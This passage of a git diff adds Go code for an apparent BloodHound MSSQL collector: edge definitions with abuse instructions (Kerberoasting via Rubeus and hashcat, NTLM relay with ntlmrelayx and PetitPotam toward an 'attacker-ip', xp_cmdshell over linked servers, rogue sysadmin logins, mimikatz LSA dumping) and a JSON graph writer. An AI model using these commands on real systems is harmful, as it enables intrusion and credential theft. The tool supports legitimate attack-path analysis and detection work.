+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles",
+ }
+ },
+
+ EdgeKinds.GrantAnyDBPermission: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " can grant ANY database permission to any user (db_securityadmin role capability).",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to the database, and grant elevated permissions: GRANT CONTROL TO [target_user];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to the database, and grant elevated permissions: GRANT CONTROL TO [target_user];",
+ Opsec: "Permission grants are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles",
+ }
+ },
+
+ EdgeKinds.Connect: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has CONNECT SQL permission, allowing it to connect to the SQL Server.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " using sqlcmd, SQL Server Management Studio, or other SQL client tools.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " using impacket mssqlclient.py, sqlcmd, or other SQL client tools.",
+ Opsec: `SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events.
+Log events are generated by default for failed login attempts and can be viewed by executing EXEC sp_readerrorlog 0, 1, 'Login';), but successful login events are not logged by default.`,
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/policy-based-management/server-public-permissions?view=sql-server-ver16
+- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16`,
+ }
+ },
+
+ EdgeKinds.ConnectAnyDatabase: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has CONNECT ANY DATABASE permission, allowing it to connect to any database on the SQL Server.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and access any database without needing explicit database user mappings.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " as " + ctx.SourceName + " and access any database without needing explicit database user mappings.",
+ Opsec: "Database access is logged if auditing is enabled. This permission bypasses normal database user mapping requirements.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/grant-server-permissions-transact-sql",
+ }
+ },
+
+ EdgeKinds.AlterAnyAppRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage. The ALTER ANY APPLICATION ROLE permission on a database allows the source " + ctx.SourceType + " to change the password for an application role, activate the application role with the new password, and execute actions with the application role's permissions.",
+ WindowsAbuse: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.",
+ LinuxAbuse: "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.",
+ Opsec: "This attack should not be performed as it will cause an immediate outage for the application using this role.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/application-roles?view=sql-server-ver17",
+ }
+ },
+
+ EdgeKinds.AlterAnyDBRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER ANY ROLE permission on the database, allowing it to create, alter, or drop any user-defined database role and add or remove members from roles.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and create/modify roles: CREATE ROLE [attacker_role]; ALTER ROLE [db_owner] ADD MEMBER [attacker_user];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to the " + ctx.DatabaseName + " database, and create/modify roles: CREATE ROLE [attacker_role]; ALTER ROLE [db_owner] ADD MEMBER [attacker_user];",
+ Opsec: "Role modifications are logged in SQL Server audit logs. Adding members to privileged roles generates security events.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql",
+ }
+ },
+
+ EdgeKinds.HasDBScopedCred: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The database contains a database-scoped credential that authenticates as the target domain account when accessing external resources. There is no guarantee the credentials are currently valid. Unlike server-level credentials, these are contained within the database and portable with database backups.",
+ WindowsAbuse: "The credential could be crackable if it has a weak password and is used automatically when accessing external data sources from this database. Specific abuse for database-scoped credentials requires further research.",
+ LinuxAbuse: "The credential is used automatically when accessing external data sources from this database. Specific abuse for database-scoped credentials requires further research.",
+ Opsec: "Database-scoped credential usage is logged when accessing external resources. These credentials are included in database backups, making them portable. The credential secret is encrypted and cannot be retrieved directly.",
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/create-database-scoped-credential-transact-sql
+- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/`,
+ }
+ },
+
+ EdgeKinds.HasMappedCred: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The SQL login has a credential mapped via ALTER LOGIN ... WITH CREDENTIAL. This credential is used automatically when the login accesses certain external resources. There is no guarantee the credentials are currently valid.",
+ WindowsAbuse: "The credential could be crackable if it has a weak password and is used automatically when the login accesses certain external resources. The credential can be abused through SQL Agent jobs using proxy accounts.",
+ LinuxAbuse: "The credential could be crackable if it has a weak password and is used automatically when the login accesses certain external resources.",
+ Opsec: "Credential usage is logged when accessing external resources. The actual credential password is encrypted and cannot be retrieved. Credential mapping changes are not logged in the default trace.",
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/create-credential-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/credentials-database-engine
+- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/`,
+ }
+ },
+
+ EdgeKinds.HasProxyCred: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The SQL principal is authorized to use a SQL Agent proxy account that runs job steps as a domain account. There is no guarantee the credentials are currently valid.",
+ WindowsAbuse: `Create and execute a SQL Agent job using the proxy:
+ EXEC msdb.dbo.sp_add_job @job_name = 'ProxyTest';
+ EXEC msdb.dbo.sp_add_jobstep
+ @job_name = 'ProxyTest',
+ @step_name = 'Step1',
+ @subsystem = 'CmdExec',
+ @command = 'whoami > C:\temp\proxy_user.txt',
+ @proxy_name = 'ProxyName';
+ EXEC msdb.dbo.sp_start_job @job_name = 'ProxyTest';`,
+ LinuxAbuse: `Create and execute a SQL Agent job using the proxy:
+ EXEC msdb.dbo.sp_add_job @job_name = 'ProxyTest';
+ EXEC msdb.dbo.sp_add_jobstep
+ @job_name = 'ProxyTest',
+ @step_name = 'Step1',
+ @subsystem = 'CmdExec',
+ @command = 'whoami',
+ @proxy_name = 'ProxyName';
+ EXEC msdb.dbo.sp_start_job @job_name = 'ProxyTest';`,
+ Opsec: "SQL Agent job execution is logged in msdb job history tables and Windows Application event log.",
+ References: `- https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy
+- https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/`,
+ }
+ },
+
+ EdgeKinds.ServiceAccountFor: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Base is non-traversable; MakeInterestingEdgesTraversable overrides to true
+ General: "The domain account is the service account running the SQL Server instance. This account has full control over the SQL Server and can access data in all databases.",
+ WindowsAbuse: `From a domain-joined machine as the service account (or with valid credentials):
+ - If xp_cmdshell is enabled, execute OS commands as the service account
+ - Access all databases and data without restrictions
+ - If the SQL instance is running as a domain account, the cleartext credentials can be dumped from LSA secrets with mimikatz sekurlsa::logonpasswords`,
+ LinuxAbuse: `From a Linux machine with valid credentials:
+ - Connect to SQL Server using impacket mssqlclient.py
+ - Access all databases and data without restrictions
+ - Use the service account for lateral movement in the domain`,
+ Opsec: "Service account access is logged like any other connection. Actions performed as sysadmin are logged in SQL Server audit logs.",
+ References: `- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/configure-windows-service-accounts-and-permissions
+- https://www.netspi.com/blog/technical-blog/network-pentesting/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/`,
+ }
+ },
+
+ EdgeKinds.HasLogin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The domain account has a SQL Server login that is enabled and can connect to the SQL Server. This allows authentication to SQL Server using the account's credentials.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " using Windows authentication as the domain account. Use sqlcmd, SQL Server Management Studio, or other SQL client tools.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " using Kerberos authentication with the domain account. Use impacket mssqlclient.py with the -k flag for Kerberos.",
+ Opsec: "SQL Server login connections are logged if login auditing is enabled. Failed logins are always logged by default.",
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/create-a-login
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/choose-an-authentication-mode`,
+ }
+ },
+
+ EdgeKinds.GetTGS: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The service account has an SPN registered for the MSSQL service. Any authenticated domain user can request a TGS (Kerberos service ticket) for this SPN, which can be used for Kerberoasting attacks if the service account has a weak password.",
+ WindowsAbuse: `Request a TGS and attempt to crack the service account password:
+ # Using Rubeus
+ Rubeus.exe kerberoast /spn:MSSQLSvc/server.domain.com:1433
+
+ # Using PowerView
+ Get-DomainSPNTicket -SPN "MSSQLSvc/server.domain.com:1433"
+
+ Then crack the ticket offline with hashcat or john.`,
+ LinuxAbuse: `Request a TGS and attempt to crack the service account password:
+ # Using impacket
+ GetUserSPNs.py domain.com/user:password -request -outputfile hashes.txt
+
+ Then crack the ticket offline with hashcat:
+ hashcat -m 13100 hashes.txt wordlist.txt`,
+ Opsec: "TGS requests are logged in Windows Event Log 4769 (Kerberos Service Ticket Operations). Multiple TGS requests for SQL SPNs may indicate Kerberoasting.",
+ References: `- https://www.netspi.com/blog/technical-blog/network-pentesting/extracting-service-account-passwords-with-kerberoasting/
+- https://attack.mitre.org/techniques/T1558/003/`,
+ }
+ },
+
+ EdgeKinds.GetAdminTGS: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The service account has an SPN registered and runs the SQL Server with administrative privileges (sysadmin). Compromising this service account grants full control over the SQL Server instance.",
+ WindowsAbuse: `Request a TGS and attempt to crack the service account password:
+ # Using Rubeus
+ Rubeus.exe kerberoast /spn:MSSQLSvc/server.domain.com:1433
+
+ After cracking the password, connect to SQL Server as sysadmin.`,
+ LinuxAbuse: `Request a TGS and attempt to crack the service account password:
+ # Using impacket
+ GetUserSPNs.py domain.com/user:password -request -outputfile hashes.txt
+
+ After cracking the password, connect to SQL Server using impacket mssqlclient.py with sysadmin privileges.`,
+ Opsec: "TGS requests are logged in Windows Event Log 4769. This is a high-value target as it provides admin access to the SQL Server.",
+ References: `- https://www.netspi.com/blog/technical-blog/network-pentesting/extracting-service-account-passwords-with-kerberoasting/
+- https://attack.mitre.org/techniques/T1558/003/`,
+ }
+ },
+
+ EdgeKinds.LinkedAsAdmin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The source SQL Server has a linked server connection to the target SQL Server where the remote login has sysadmin, securityadmin, CONTROL SERVER, or IMPERSONATE ANY LOGIN privileges. This enables full administrative control of the remote SQL Server through linked server queries.",
+ WindowsAbuse: `Execute commands on the remote server with admin privileges:
+ -- Enable xp_cmdshell on the remote server
+ EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LinkedServerName];
+ EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LinkedServerName];
+ EXEC ('xp_cmdshell ''whoami'';') AT [LinkedServerName];
+
+ -- Or create a new sysadmin login
+ EXEC ('CREATE LOGIN [attacker] WITH PASSWORD = ''P@ssw0rd!'';') AT [LinkedServerName];
+ EXEC ('ALTER SERVER ROLE [sysadmin] ADD MEMBER [attacker];') AT [LinkedServerName];`,
+ LinuxAbuse: `Execute commands on the remote server with admin privileges:
+ -- Connect using impacket mssqlclient.py
+ -- Then execute linked server queries:
+ EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LinkedServerName];
+ EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LinkedServerName];
+ EXEC ('xp_cmdshell ''id'';') AT [LinkedServerName];`,
+ Opsec: `Linked server queries are logged on both source and target servers. Administrative actions on the remote server are logged as coming from the linked server login.
+The target server must have mixed mode authentication enabled for this attack to work with SQL logins.`,
+ References: `- https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine
+- https://www.netspi.com/blog/technical-blog/network-penetration-testing/how-to-hack-database-links-in-sql-server/`,
+ }
+ },
+
+ EdgeKinds.CoerceAndRelayTo: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The SQL Server has Extended Protection (EPA) disabled and has a login for a computer account. This allows NTLM relay attacks where any authenticated user can coerce the computer to authenticate to the SQL Server and relay that authentication to gain access as the computer's SQL login.",
+ WindowsAbuse: `Perform NTLM coercion and relay to the SQL Server:
+ # On the attacker machine, start ntlmrelayx targeting the SQL Server
+ ntlmrelayx.py -t mssql://sql.domain.com -smb2support
+
+ # Coerce the victim computer to authenticate using PetitPotam, Coercer, or similar
+ python3 Coercer.py -u user -p password -d domain.com -l attacker-ip -t victim-computer
+
+ # ntlmrelayx will relay the authentication to the SQL Server and execute commands`,
+ LinuxAbuse: `Perform NTLM coercion and relay to the SQL Server:
+ # On the attacker machine, start ntlmrelayx targeting the SQL Server
+ ntlmrelayx.py -t mssql://sql.domain.com -smb2support
+
+ # Coerce the victim computer to authenticate using PetitPotam
+ python3 PetitPotam.py attacker-ip victim-computer -u user -p password -d domain.com
+
+ # ntlmrelayx will relay the authentication to the SQL Server and execute commands`,
+ Opsec: `NTLM relay attacks can be detected by:
+ - Windows Event 4624 with Logon Type 3 from unexpected sources
+ - SQL Server login events from computer accounts
+ - Network traffic analysis showing NTLM authentication
+Enable Extended Protection (EPA) on SQL Server to prevent this attack.`,
+ References: `- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/connect-to-the-database-engine-using-extended-protection
+- https://github.com/topotam/PetitPotam
+- https://github.com/p0dalirius/Coercer
+- https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py`,
+ }
+ },
+
+ // Database-level permission edges
+ EdgeKinds.AlterDB: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER permission on the " + ctx.DatabaseName + " database, allowing modification of database settings and properties.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER DATABASE [" + ctx.DatabaseName + "] SET TRUSTWORTHY ON; to enable trustworthy flag for privilege escalation.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER DATABASE [" + ctx.DatabaseName + "] SET TRUSTWORTHY ON; to enable trustworthy flag for privilege escalation.",
+ Opsec: "ALTER DATABASE operations are logged in the SQL Server audit log and default trace.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-database-transact-sql",
+ }
+ },
+
+ EdgeKinds.AlterDBRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER permission on the target database role, allowing modification of role membership.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user];",
+ Opsec: "Role membership changes are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql",
+ }
+ },
+
+ EdgeKinds.AlterServerRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false,
+ General: "The " + ctx.SourceType + " has ALTER permission on the target server role, allowing modification of role membership.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];",
+ Opsec: "Server role membership changes are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql",
+ }
+ },
+
+ EdgeKinds.ControlDBRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has CONTROL permission on the target database role, granting full control including ability to add/remove members and drop the role.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user]; or DROP ROLE [" + ctx.TargetName + "];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: ALTER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_user]; or DROP ROLE [" + ctx.TargetName + "];",
+ Opsec: "CONTROL on database roles grants full administrative permissions. All modifications are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.ControlDBUser: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has CONTROL permission on the target database user, granting full control including ability to impersonate.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.",
+ Opsec: "CONTROL on database users allows impersonation. Impersonation is logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.ControlLogin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has CONTROL permission on the target login, granting full control including ability to impersonate and alter.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login, or ALTER LOGIN [" + ctx.TargetName + "] WITH PASSWORD = 'NewPassword!';",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login.",
+ Opsec: "CONTROL on logins grants full administrative permissions including impersonation. All actions are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.ControlServerRole: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has CONTROL permission on the target server role, granting full control including ability to add/remove members.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER SERVER ROLE [" + ctx.TargetName + "] ADD MEMBER [attacker_login];",
+ Opsec: "CONTROL on server roles grants full administrative permissions. All modifications are logged.",
+ References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine",
+ }
+ },
+
+ EdgeKinds.DBTakeOwnership: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The " + ctx.SourceType + " has TAKE OWNERSHIP permission on the " + ctx.DatabaseName + " database, allowing them to become the database owner.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER AUTHORIZATION ON DATABASE::[" + ctx.DatabaseName + "] TO [" + ctx.SourceName + "]; to take ownership of the database.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: ALTER AUTHORIZATION ON DATABASE::[" + ctx.DatabaseName + "] TO [" + ctx.SourceName + "]; to take ownership of the database.",
+ Opsec: "TAKE OWNERSHIP operations are logged in SQL Server audit logs. Database ownership changes are high-visibility events.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql",
+ }
+ },
+
+ EdgeKinds.ImpersonateDBUser: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable (matches PowerShell)
+ General: "The " + ctx.SourceType + " has IMPERSONATE permission on the target database user, allowing execution of commands as that user.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + ", switch to " + ctx.DatabaseName + " database, and execute: EXECUTE AS USER = '" + ctx.TargetName + "'; to impersonate the user.",
+ Opsec: `Database user impersonation is logged in SQL Server audit logs. To check current execution context:
+ SELECT USER_NAME(), ORIGINAL_LOGIN();
+To revert impersonation:
+ REVERT;`,
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`,
+ }
+ },
+
+ EdgeKinds.ImpersonateLogin: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable (matches PowerShell)
+ General: "The " + ctx.SourceType + " has IMPERSONATE permission on the target login, allowing execution of commands as that login.",
+ WindowsAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login.",
+ LinuxAbuse: "Connect to " + ctx.SQLServerName + " and execute: EXECUTE AS LOGIN = '" + ctx.TargetName + "'; to impersonate the login.",
+ Opsec: `Login impersonation is logged in SQL Server audit logs. To check current execution context:
+ SELECT SYSTEM_USER, ORIGINAL_LOGIN();
+To revert impersonation:
+ REVERT;`,
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`,
+ }
+ },
+
+ EdgeKinds.TakeOwnership: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: false, // Non-traversable (matches PowerShell); MSSQL_ChangeOwner is the traversable counterpart
+ General: "The source has TAKE OWNERSHIP permission on the target, allowing them to become the owner.",
+ WindowsAbuse: "TAKE OWNERSHIP allows changing the owner of the target object.",
+ LinuxAbuse: "TAKE OWNERSHIP allows changing the owner of the target object.",
+ Opsec: "Ownership changes are logged in SQL Server audit logs.",
+ References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql",
+ }
+ },
+
+ EdgeKinds.ExecuteAs: func(ctx *EdgeContext) EdgeProperties {
+ return EdgeProperties{
+ Traversable: true,
+ General: "The source can execute commands as the target principal using EXECUTE AS.",
+ WindowsAbuse: "Connect and execute: EXECUTE AS LOGIN = ''; or EXECUTE AS USER = ''; to impersonate.",
+ LinuxAbuse: "Connect and execute: EXECUTE AS LOGIN = ''; or EXECUTE AS USER = ''; to impersonate.",
+ Opsec: "Impersonation is logged in SQL Server audit logs. Use REVERT; to return to the original context.",
+ References: `- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql
+- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/impersonate-a-user`,
+ }
+ },
+}
diff --git a/internal/bloodhound/writer.go b/internal/bloodhound/writer.go
new file mode 100644
index 0000000..a8a0138
--- /dev/null
+++ b/internal/bloodhound/writer.go
@@ -0,0 +1,486 @@
+// Package bloodhound provides BloodHound OpenGraph JSON output generation.
+package bloodhound
+
+import (
+ "encoding/json"
+ "fmt"
+ "io"
+ "os"
+ "path/filepath"
+ "sync"
+)
+
+// Node represents a BloodHound graph node
+type Node struct {
+ ID string `json:"id"`
+ Kinds []string `json:"kinds"`
+ Properties map[string]interface{} `json:"properties"`
+ Icon *Icon `json:"icon,omitempty"`
+}
+
+// Edge represents a BloodHound graph edge
+type Edge struct {
+ Start EdgeEndpoint `json:"start"`
+ End EdgeEndpoint `json:"end"`
+ Kind string `json:"kind"`
+ Properties map[string]interface{} `json:"properties,omitempty"`
+}
+
+// EdgeEndpoint represents the start or end of an edge
+type EdgeEndpoint struct {
+ Value string `json:"value"`
+}
+
+// Icon represents a node icon
+type Icon struct {
+ Type string `json:"type"`
+ Name string `json:"name"`
+ Color string `json:"color"`
+}
+
+// StreamingWriter handles streaming JSON output for BloodHound format
+type StreamingWriter struct {
+ file *os.File
+ encoder *json.Encoder
+ mu sync.Mutex
+ nodeCount int
+ edgeCount int
+ firstNode bool
+ firstEdge bool
+ inEdges bool
+ filePath string
+ seenEdges map[string]bool // dedup: "source|target|kind"
+}
+
+// NewStreamingWriter creates a new streaming BloodHound JSON writer
+func NewStreamingWriter(filePath string) (*StreamingWriter, error) {
+ // Ensure directory exists
+ dir := filepath.Dir(filePath)
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ return nil, fmt.Errorf("failed to create directory: %w", err)
+ }
+
+ file, err := os.Create(filePath)
+ if err != nil {
+ return nil, fmt.Errorf("failed to create file: %w", err)
+ }
+
+ w := &StreamingWriter{
+ file: file,
+ firstNode: true,
+ firstEdge: true,
+ filePath: filePath,
+ seenEdges: make(map[string]bool),
+ }
+
+ // Write header
+ if err := w.writeHeader(); err != nil {
+ file.Close()
+ return nil, err
+ }
+
+ return w, nil
+}
+
+// writeHeader writes the initial JSON structure
+func (w *StreamingWriter) writeHeader() error {
+ header := `{
+ "$schema": "https://raw.githubusercontent.com/MichaelGrafnetter/EntraAuthPolicyHound/refs/heads/main/bloodhound-opengraph.schema.json",
+ "metadata": {
+ "source_kind": "MSSQL_Base"
+ },
+ "graph": {
+ "nodes": [
+`
+ _, err := w.file.WriteString(header)
+ return err
+}
+
+// WriteNode writes a single node to the output
+func (w *StreamingWriter) WriteNode(node *Node) error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ if w.inEdges {
+ return fmt.Errorf("cannot write nodes after edges have started")
+ }
+
+ // Write comma if not first node
+ if !w.firstNode {
+ if _, err := w.file.WriteString(",\n"); err != nil {
+ return err
+ }
+ }
+ w.firstNode = false
+
+ // Marshal and write the node
+ data, err := json.Marshal(node)
+ if err != nil {
+ return err
+ }
+
+ if _, err := w.file.WriteString(" "); err != nil {
+ return err
+ }
+ if _, err := w.file.Write(data); err != nil {
+ return err
+ }
+
+ w.nodeCount++
+ return nil
+}
+
+// WriteEdge writes a single edge to the output. If edge is nil or a duplicate, it is silently skipped.
+func (w *StreamingWriter) WriteEdge(edge *Edge) error {
+ if edge == nil {
+ return nil
+ }
+
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ // Deduplicate by full edge content (JSON-serialized).
+ // This ensures truly identical edges (same source, target, kind, AND properties)
+ // are deduped, while edges with same source/target/kind but different properties
+ // (e.g., LinkedTo edges with different localLogin mappings) are kept.
+ edgeJSON, err := json.Marshal(edge)
+ if err != nil {
+ return err
+ }
+ edgeKey := string(edgeJSON)
+ if w.seenEdges[edgeKey] {
+ return nil
+ }
+ w.seenEdges[edgeKey] = true
+
+ // Transition from nodes to edges if needed
+ if !w.inEdges {
+ if err := w.transitionToEdges(); err != nil {
+ return err
+ }
+ }
+
+ // Write comma if not first edge
+ if !w.firstEdge {
+ if _, err := w.file.WriteString(",\n"); err != nil {
+ return err
+ }
+ }
+ w.firstEdge = false
+
+ // Marshal and write the edge
+ data, err := json.Marshal(edge)
+ if err != nil {
+ return err
+ }
+
+ if _, err := w.file.WriteString(" "); err != nil {
+ return err
+ }
+ if _, err := w.file.Write(data); err != nil {
+ return err
+ }
+
+ w.edgeCount++
+ return nil
+}
+
+// transitionToEdges closes the nodes array and starts the edges array
+func (w *StreamingWriter) transitionToEdges() error {
+ transition := `
+ ],
+ "edges": [
+`
+ _, err := w.file.WriteString(transition)
+ if err != nil {
+ return err
+ }
+ w.inEdges = true
+ return nil
+}
+
+// Close finalizes the JSON and closes the file
+func (w *StreamingWriter) Close() error {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+
+ // If we never wrote edges, transition now
+ if !w.inEdges {
+ if err := w.transitionToEdges(); err != nil {
+ return err
+ }
+ }
+
+ // Write footer
+ footer := `
+ ]
+ }
+}
+`
+ if _, err := w.file.WriteString(footer); err != nil {
+ return err
+ }
+
+ return w.file.Close()
+}
+
+// Stats returns the number of nodes and edges written
+func (w *StreamingWriter) Stats() (nodes, edges int) {
+ w.mu.Lock()
+ defer w.mu.Unlock()
+ return w.nodeCount, w.edgeCount
+}
+
+// FilePath returns the path to the output file
